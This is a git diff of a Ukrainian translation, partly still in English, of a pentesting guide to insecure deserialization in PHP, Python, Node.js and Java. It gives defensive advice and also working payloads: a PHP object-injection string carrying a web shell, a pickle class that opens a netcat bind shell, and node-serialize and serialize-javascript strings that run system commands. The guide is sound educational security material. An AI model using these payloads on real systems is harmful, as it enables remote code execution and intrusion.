Translated ['src/pentesting-web/deserialization/java-signedobject-gated-

This commit is contained in:
Translator 2025-10-01 01:20:11 +00:00
parent cf41587252
commit 2c62c15400
3 changed files with 386 additions and 225 deletions

View File

@ -622,6 +622,7 @@
- [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
- [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
- [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
- [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
- [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
- [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
- [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)

View File

@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта пізніше, зберігаючи його структуру та стан.
**Serialization** розуміється як метод перетворення об'єкта в формат, який можна зберегти, з метою або зберігання об'єкта, або передачі його в рамках процесу комунікації. Ця техніка зазвичай використовується, щоб забезпечити можливість відтворення об'єкта пізніше, збереження його структури та стану.
**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Вона передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
**Deserialization**, навпаки, — це процес, що протилежний Serialization. Він включає взяття даних, структурованих у певному форматі, і відтворення їх назад в об'єкт.
Десеріалізація може бути небезпечною, оскільки вона потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або викликати несподівану поведінку в додатку під час процесу відновлення об'єкта.
Deserialization може бути небезпечною, оскільки потенційно **дозволяє зловмисникам маніпулювати серіалізованими даними для виконання шкідливого коду** або спричиняти непередбачену поведінку додатку під час процесу реконструкції об'єкта.
## PHP
У PHP під час процесів серіалізації та десеріалізації використовуються специфічні магічні методи:
У PHP під час процесів serialization та deserialization використовуються специфічні magic methods:
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод повинен повертати масив імен усіх властивостей об'єкта, які повинні бути серіалізовані. Він зазвичай використовується для фіксації очікуючих даних або виконання подібних завдань очищення.
- `__wakeup`: Викликається, коли об'єкт десеріалізується. Він використовується для відновлення будь-яких з'єднань з базою даних, які могли бути втрачені під час серіалізації, та виконання інших завдань повторної ініціалізації.
- `__unserialize`: Цей метод викликається замість `__wakeup` (якщо він існує), коли об'єкт десеріалізується. Він надає більше контролю над процесом десеріалізації в порівнянні з `__wakeup`.
- `__destruct`: Цей метод викликається, коли об'єкт збирається бути знищеним або коли скрипт закінчується. Він зазвичай використовується для завдань очищення, таких як закриття дескрипторів файлів або з'єднань з базою даних.
- `__toString`: Цей метод дозволяє об'єкту розглядатися як рядок. Він може використовуватися для читання файлу або інших завдань на основі викликів функцій всередині нього, ефективно надаючи текстове представлення об'єкта.
- `__sleep`: Викликається, коли об'єкт серіалізується. Цей метод має повернути масив імен усіх властивостей об'єкта, які слід серіалізувати. Зазвичай використовується для фіксації очікувальних даних або виконання подібних операцій очищення.
- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`.
- `__destruct`: Цей метод викликається, коли об'єкт збираються знищити або коли скрипт закінчується. Зазвичай використовується для завдань очищення, наприклад закриття файлових дескрипторів або підключень до бази даних.
- `__toString`: Цей метод дозволяє трактувати об'єкт як рядок. Його можна використовувати для читання файлу або інших задач, що базуються на викликах функцій всередині нього, фактично забезпечуючи текстове представлення об'єкта.
```php
<?php
class test {
@ -74,10 +74,10 @@ This is a test<br />
*/
?>
```
Якщо ви подивитеся на результати, ви можете побачити, що функції **`__wakeup`** та **`__destruct`** викликаються, коли об'єкт десеріалізується. Зверніть увагу, що в кількох підручниках ви знайдете, що функція **`__toString`** викликається, коли намагаються надрукувати деякий атрибут, але, очевидно, це **більше не відбувається**.
Якщо подивитися на результати, можна побачити, що функції **`__wakeup`** та **`__destruct`** викликаються при десеріалізації об'єкта. Зауважте, що в кількох підручниках зустрічається твердження, що функція **`__toString`** викликається при спробі вивести певний атрибут, але, виявляється, це **більше не відбувається**.
> [!WARNING]
> Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Це дозволяє вам десеріалізувати об'єкт, надаючи серіалізовані дані у вигляді масиву. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних завдань під час десеріалізації.
> Метод **`__unserialize(array $data)`** викликається **замість `__wakeup()`**, якщо він реалізований у класі. Він дозволяє десеріалізувати об'єкт, надаючи серіалізовані дані як масив. Ви можете використовувати цей метод для десеріалізації властивостей і виконання будь-яких необхідних дій під час десеріалізації.
>
> ```php
> class MyClass {
@ -85,23 +85,23 @@ This is a test<br />
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // Виконати будь-які необхідні завдання під час десеріалізації.
> // Perform any necessary tasks upon deserialization.
> }
> }
> ```
Ви можете прочитати пояснений **PHP приклад тут**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), тут [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) або тут [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
Докладний приклад PHP можна прочитати тут: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), тут [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) або тут [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
Ви можете зловживати функціональністю автозавантаження PHP, щоб завантажувати довільні php файли та більше:
Ви можете зловживати функціональністю PHP autoload, щоб завантажувати довільні php файли та інше:
{{#ref}}
php-deserialization-+-autoload-classes.md
{{#endref}}
### Серіалізація посилальних значень
### Серіалізація значень-посилань
Якщо з якоїсь причини ви хочете серіалізувати значення як **посилання на інше серіалізоване значення**, ви можете:
```php
@ -116,12 +116,12 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### Запобігання ін'єкції об'єктів PHP за допомогою `allowed_classes`
### Preventing PHP Object Injection with `allowed_classes`
> [!INFO]
> Підтримка **другого аргументу** функції `unserialize()` (масив `$options`) була додана в **PHP 7.0**. У старіших версіях функція приймає лише серіалізований рядок, що ускладнює обмеження класів, які можуть бути інстанційовані.
> Підтримка **другого аргументу** функції `unserialize()` (масив `$options`) була додана в **PHP 7.0**. У старіших версіях функція приймає тільки серіалізований рядок, що робить неможливим обмежити, які класи можуть бути створені.
`unserialize()` **інстанціює кожен клас**, який він знаходить у серіалізованому потоці, якщо не вказано інше. Починаючи з PHP 7, поведінку можна обмежити за допомогою опції [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
`unserialize()` буде **створювати екземпляр кожного класу** який він знайде в серіалізованому потоці, якщо не вказано інше. Починаючи з PHP 7, поведінку можна обмежити за допомогою опції [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
@ -136,11 +136,11 @@ $object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
Якщо **`allowed_classes` пропущено _або_ код виконується на PHP < 7.0**, виклик стає **небезпечним**, оскільки зловмисник може створити корисне навантаження, яке використовує магічні методи, такі як `__wakeup()` або `__destruct()`, для досягнення віддаленого виконання коду (RCE).
Якщо **`allowed_classes` опущено _або_ код виконується на PHP < 7.0**, виклик стає **небезпечним**, оскільки атакувальник може створити payload, який зловживає магічними методами, такими як `__wakeup()` або `__destruct()`, щоб досягти Remote Code Execution (RCE).
#### Приклад з реального світу: Everest Forms (WordPress) CVE-2025-52709
#### Реальний приклад: Everest Forms (WordPress) CVE-2025-52709
Плагін WordPress **Everest Forms ≤ 3.2.2** намагався бути захисним з допоміжною обгорткою, але забув про застарілі версії PHP:
Плагін WordPress **Everest Forms ≤ 3.2.2** намагався діяти захисно за допомогою допоміжної обгортки, але забув про старі версії PHP:
```php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
@ -155,29 +155,30 @@ return @unserialize(trim($data));
return $data;
}
```
На серверах, які все ще працювали на **PHP ≤ 7.0**, ця друга гілка призвела до класичного **PHP Object Injection**, коли адміністратор відкривав шкідливу форму. Мінімальний експлойт-пейлоад міг виглядати так:
На серверах, які все ще працювали на **PHP ≤ 7.0**, ця друга гілка призводила до класичної **PHP Object Injection**, коли адміністратор відкривав зловмисну відправку форми. Мінімальний exploit payload може виглядати так:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
Як тільки адміністратор переглянув запис, об'єкт був інстанційований, і `SomeClass::__destruct()` був виконаний, що призвело до виконання довільного коду.
Як тільки адмін переглянув запис, об'єкт було інстанціювано і `SomeClass::__destruct()` було виконано, що призвело до виконання довільного коду.
**Висновки**
1. Завжди передавайте `['allowed_classes' => false]` (або строгий білий список) при виклику `unserialize()`.
2. Аудит захисних обгорток вони часто забувають про старі гілки PHP.
3. Оновлення до **PHP ≥ 7.x** саме по собі *не* є достатнім: опцію все ще потрібно передавати явно.
1. Завжди передавайте `['allowed_classes' => false]` (або суворий білий список) при виклику `unserialize()`.
2. Перевіряйте захисні обгортки вони часто забувають про застарілі гілки PHP.
3. Оновлення до **PHP ≥ 7.x** саме по собі *не* є достатнім: опцію все одно потрібно передавати явно.
---
### PHPGGC (ysoserial для PHP)
### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам генерувати payload'и для зловживання десеріалізаціями PHP.\
Зверніть увагу, що в кількох випадках ви **не зможете знайти спосіб зловживати десеріалізацією в вихідному коді** програми, але ви можете **зловживати кодом зовнішніх PHP розширень.**\
Отже, якщо можете, перевірте `phpinfo()` сервера і **пошукайте в інтернеті** (навіть на **gadgets** **PHPGGC**) можливі gadgets, якими ви могли б зловживати.
[**PHPGGC**](https://github.com/ambionics/phpggc) може допомогти вам згенерувати payloads для зловживання PHP deserializations.\
Зверніть увагу, що в деяких випадках ви **не зможете знайти спосіб зловживати deserialization в коді програми**, але можете **зловживати кодом зовнішніх PHP-розширень.**\
Отже, якщо можете, перевірте `phpinfo()` на сервері і **пошукайте в інтернеті** (навіть серед **gadgets** **PHPGGC**) можливі gadget-и, якими можна зловживати.
### phar:// метадані десеріалізації
### phar:// metadata deserialization
Якщо ви знайшли LFI, який просто читає файл і не виконує php код всередині нього, наприклад використовуючи функції _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Ви можете спробувати зловживати **deserialization**, яка відбувається під час **читання** **файлу** за допомогою протоколу **phar**.\
Для детальнішої інформації прочитайте наступний пост:
Якщо ви знайшли LFI, який просто читає файл і не виконує php код всередині нього, наприклад, використовуючи функції, такі як _**file_get_contents(), fopen(), file() або file_exists(), md5_file(), filemtime() або filesize()**_**.** Ви можете спробувати зловживати **десеріалізацією**, що відбувається при **читанні** **файлу** за допомогою **phar** протоколу.\
Для отримання додаткової інформації прочитайте наступний пост:
{{#ref}}
../file-inclusion/phar-deserialization.md
@ -187,8 +188,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
### **Pickle**
Коли об'єкт розпаковується, функція \_\_\_reduce\_\_\_ буде виконана.\
При експлуатації сервер може повернути помилку.
When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\
When exploited, server could return an error.
```python
import pickle, os, base64
class P(object):
@ -196,9 +197,10 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
Перед перевіркою техніки обходу спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, який сумісний з python2, якщо ви використовуєте python3.
Перш ніж перевіряти техніку обходу, спробуйте використати `print(base64.b64encode(pickle.dumps(P(),2)))`, щоб згенерувати об'єкт, сумісний з python2, якщо ви запускаєте python3.
For more information about escaping from **pickle jails** check:
Для отримання додаткової інформації про вихід з **pickle jails** перегляньте:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -206,7 +208,8 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в yamls** бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного навантаження для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
Наступна сторінка описує техніку **зловживання небезпечним десеріалізуванням у yamls python libraries** і завершується інструментом, який можна використати для генерації RCE deserialization payload для **Pickle, PyYAML, jsonpickle and ruamel.yaml**:
{{#ref}}
python-yaml-deserialization.md
@ -214,6 +217,7 @@ python-yaml-deserialization.md
### Class Pollution (Python Prototype Pollution)
{{#ref}}
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
{{#endref}}
@ -222,10 +226,10 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **не має "магічних" функцій**, як PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
Якщо зловживати десеріалізацією, ви можете **компрометувати ці функції для виконання іншого коду** (потенційно зловживаючи забрудненням прототипу), ви могли б виконати довільний код, коли їх викликають.
JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\
If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.
Ще один **"магічний" спосіб викликати функцію** без прямого виклику - це **компрометація об'єкта, який повертається асинхронною функцією** (promise). Тому, якщо ви **перетворите** цей **об'єкт повернення** в інший **promise** з **властивістю** під назвою **"then" типу функція**, він буде **виконаний** лише тому, що його повертає інший promise. _Слідкуйте_ [_**за цим посиланням**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _для отримання додаткової інформації._
Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -249,7 +253,7 @@ test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
```
### `__proto__` та забруднення `prototype`
### `__proto__` and `prototype` pollution
Якщо ви хочете дізнатися про цю техніку **перегляньте наступний підручник**:
@ -273,23 +277,23 @@ var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
```
**Серіалізований об'єкт** виглядатиме так:
**серіалізований об'єкт** виглядатиме так:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
Ви можете побачити в прикладі, що коли функція серіалізується, до серіалізованого об'єкта додається прапорець `_$$ND_FUNC$$_`.
Як видно в прикладі, коли функція серіалізується, прапорець `_$$ND_FUNC$$_` додається до серіалізованого об'єкта.
Всередині файлу `node-serialize/lib/serialize.js` ви можете знайти той же прапорець і те, як код його використовує.
У файлі `node-serialize/lib/serialize.js` можна знайти той самий прапорець і як код його використовує.
![](<../../images/image (351).png>)
![](<../../images/image (446).png>)
Як ви можете бачити в останньому фрагменті коду, **якщо прапорець знайдено**, використовується `eval` для десеріалізації функції, тому в основному **вхідні дані користувача використовуються всередині функції `eval`**.
Як видно в останньому фрагменті коду, **якщо прапорець знайдено**, для десеріалізації функції використовується `eval`, тож по суті **вхідні дані користувача використовуються всередині `eval`**.
Однак, **просто серіалізувати** функцію **не виконає її**, оскільки необхідно, щоб якась частина коду **викликала `y.rce`** в нашому прикладі, і це малоймовірно.\
У будь-якому випадку, ви могли б просто **модифікувати серіалізований об'єкт**, **додавши деякі дужки**, щоб автоматично виконати серіалізовану функцію, коли об'єкт буде десеріалізовано.\
У наступному фрагменті коду **зверніть увагу на останні дужки** і на те, як функція `unserialize` автоматично виконає код:
Однак **саме по собі серіалізування** функції **не виконає її**, бо для цього потрібна частина коду, яка **викликає `y.rce`** в нашому прикладі, і це дуже **неімовірно**.\
У будь-якому разі, ви можете просто **змінити серіалізований об'єкт**, **додавши дужки**, щоб автoвиконати серіалізовану функцію під час десеріалізації.\
У наступному фрагменті коду **зверніть увагу на останню дужку** і на те, як функція `unserialize` автоматично виконає код:
```javascript
var serialize = require("node-serialize")
var test = {
@ -297,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Як було зазначено раніше, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку і **просто виконати JS oneliner** як у наступному прикладі:
Як вже було вказано, ця бібліотека отримає код після `_$$ND_FUNC$$_` і **виконає його** за допомогою `eval`. Тому, щоб **автоматично виконати код**, ви можете **видалити частину створення функції** та останню дужку й **просто виконати JS oneliner** як у наступному прикладі:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
Ви можете [**знайти тут**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **додаткову інформацію** про те, як експлуатувати цю вразливість.
Ви можете [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **додаткову інформацію** про те, як експлуатувати цю вразливість.
### [funcster](https://www.npmjs.com/package/funcster)
Помітним аспектом **funcster** є недоступність **стандартних вбудованих об'єктів**; вони виходять за межі доступної області. Це обмеження запобігає виконанню коду, який намагається викликати методи на вбудованих об'єктах, що призводить до виключень, таких як `"ReferenceError: console is not defined"` при використанні команд, таких як `console.log()` або `require(something)`.
Важливим аспектом **funcster** є недоступність **стандартних вбудованих об'єктів**; вони виходять за межі доступної області. Це обмеження перешкоджає виконанню коду, який намагається викликати методи вбудованих об'єктів, що призводить до виключень, таких як "ReferenceError: console is not defined", коли виконуються команди на кшталт `console.log()` або `require(something)`.
Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе через специфічний підхід. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити, використовуючи наступний фрагмент:
Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе за допомогою конкретного підходу. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити за допомогою наступного фрагмента:
```javascript
funcster = require("funcster")
//Serialization
@ -332,17 +336,17 @@ __js_function:
}
funcster.deepDeserialize(desertest3)
```
**Для**[ **додаткової інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Для**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
Пакет **serialize-javascript** призначений виключно для цілей серіалізації, не маючи вбудованих можливостей десеріалізації. Користувачі несуть відповідальність за реалізацію власного методу для десеріалізації. Пряме використання `eval` пропонується офіційним прикладом для десеріалізації серіалізованих даних:
Пакет **serialize-javascript** призначений виключно для serialization і не має вбудованих можливостей для deserialization. Користувачі повинні реалізувати власний метод для deserialization. В офіційному прикладі для deserializing serialized data пропонується пряме використання `eval`:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
Якщо ця функція використовується для десеріалізації об'єктів, ви можете **легко її експлуатувати**:
Якщо ця функція використовується для десеріалізації об'єктів, ви можете **easily exploit it**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -356,7 +360,7 @@ var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**Для**[ **додаткової інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Для**[ **детальнішої інформації див. це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo library
@ -367,79 +371,89 @@ deserialize(test)
## Java - HTTP
В Java, **зворотні виклики десеріалізації виконуються під час процесу десеріалізації**. Це виконання може бути використано зловмисниками, які створюють шкідливі корисні навантаження, що викликають ці зворотні виклики, що призводить до потенційного виконання шкідливих дій.
У Java, **deserialization callbacks виконуються під час процесу deserialization**. Це виконання може бути використане зловмисниками, які створюють шкідливі payloads, що тригерять ці callbacks, і може призвести до потенційного виконання небезпечних дій.
### Відбитки
### Fingerprints
#### White Box
Щоб виявити потенційні вразливості серіалізації в кодовій базі, шукайте:
Щоб ідентифікувати потенційні serialization вразливості в кодовій базі, шукайте:
- Класи, які реалізують інтерфейс `Serializable`.
- Використання функцій `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
- Використання `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
Зверніть особливу увагу на:
- `XMLDecoder`, що використовується з параметрами, визначеними зовнішніми користувачами.
- Метод `fromXML` бібліотеки `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона підлягає проблемам серіалізації.
- `XMLDecoder`, використаний з параметрами, які задаються зовнішніми користувачами.
- Метод `fromXML` в `XStream`, особливо якщо версія XStream менша або дорівнює 1.46, оскільки вона вразлива до serialization проблем.
- `ObjectInputStream` у поєднанні з методом `readObject`.
- Реалізацію методів, таких як `readObject`, `readObjectNodData`, `readResolve` або `readExternal`.
- Реалізації методів таких як `readObject`, `readObjectNodData`, `readResolve`, або `readExternal`.
- `ObjectInputStream.readUnshared`.
- Загальне використання `Serializable`.
#### Black Box
Для тестування чорного ящика шукайте специфічні **підписи або "Magic Bytes"**, які позначають java серіалізовані об'єкти (походять з `ObjectInputStream`):
Для Black Box тестування шукайте специфічні **signatures or "Magic Bytes"**, які позначають java serialized objects (що походять від `ObjectInputStream`):
- Шістнадцятковий шаблон: `AC ED 00 05`.
- Base64 шаблон: `rO0`.
- HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
- Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
- Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як детально описано в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
- Hexadecimal pattern: `AC ED 00 05`.
- Base64 pattern: `rO0`.
- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
- Base64 pattern indicating prior compression: `H4sIA`.
- Web files with the `.faces` extension and the `faces.ViewState` parameter. Виявлення цих патернів у веб-застосунку має спричинити перевірку, як описано в [статті про Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Перевірте, чи вразливий
### Перевірити на наявність вразливості
Якщо ви хочете **дізнатися, як працює експлойт Java Deserialized**, вам слід ознайомитися з [**Основною десеріалізацією Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Десеріалізацією Java DNS**](java-dns-deserialization-and-gadgetprobe.md) та [**Payload CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
Якщо ви хочете дізнатися, як працює Java Deserialized exploit, ознайомтеся з [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md) та [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Тестування в білому ящику
#### SignedObject-gated deserialization and pre-auth reachability
Ви можете перевірити, чи встановлено будь-який додаток з відомими вразливостями.
Сучасні codebases інколи обгортають deserialization у `java.security.SignedObject` та перевіряють підпис перед викликом `getObject()` (який десеріалізує вкладений об'єкт). Це запобігає використанню довільних top-level gadget classes, але все ще може бути експлуатовано, якщо attacker зможе отримати валідний підпис (наприклад, компрометація приватного ключа або signing oracle). Крім того, error-handling flows можуть створювати session-bound tokens для unauthenticated users, роблячи доступними в іншому разі захищені sinks pre-auth.
Для конкретного кейсу з запитами, IoCs та рекомендаціями щодо захисту див.:
{{#ref}}
java-signedobject-gated-deserialization.md
{{#endref}}
#### White Box Test
Ви можете перевірити, чи встановлено будь-який application із відомими вразливостями.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Ви можете спробувати **перевірити всі бібліотеки**, які відомі як вразливі і для яких [**Ysoserial**](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані в [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він генерує, і дайте йому закінчити. Він запише всі знахідки в _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
Ви можете спробувати **перевірити всі бібліотеки**, відомі як вразливі, для яких [**Ysoserial** ](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані в [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Також можна використати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих gadget chains, які можна експлуатувати.\
Під час запуску **gadgetinspector** (після збірки) не звертайте уваги на велику кількість попереджень/помилок і дайте йому завершити роботу. Він запише всі результати у _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Зверніть увагу, що **gadgetinspector не створює експлойт і може показувати false positives**.
#### Тест чорного ящика
#### Black Box Test
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe зосереджений на **`ObjectInputStream` десеріалізаціях**.
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете ідентифікувати **які бібліотеки доступні** (і навіть їхні версії). З цією інформацією може бути **легше обрати payload** для експлуатації вразливості.\
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe орієнтований на **`ObjectInputStream` десеріалізації**.
Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **виявити вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\
[**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях.
Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **виявити вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, та **експлуатувати** їх.\
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner орієнтований на десеріалізації **`ObjectInputStream`**.
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявляє **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. У активному режимі він намагатиметься підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
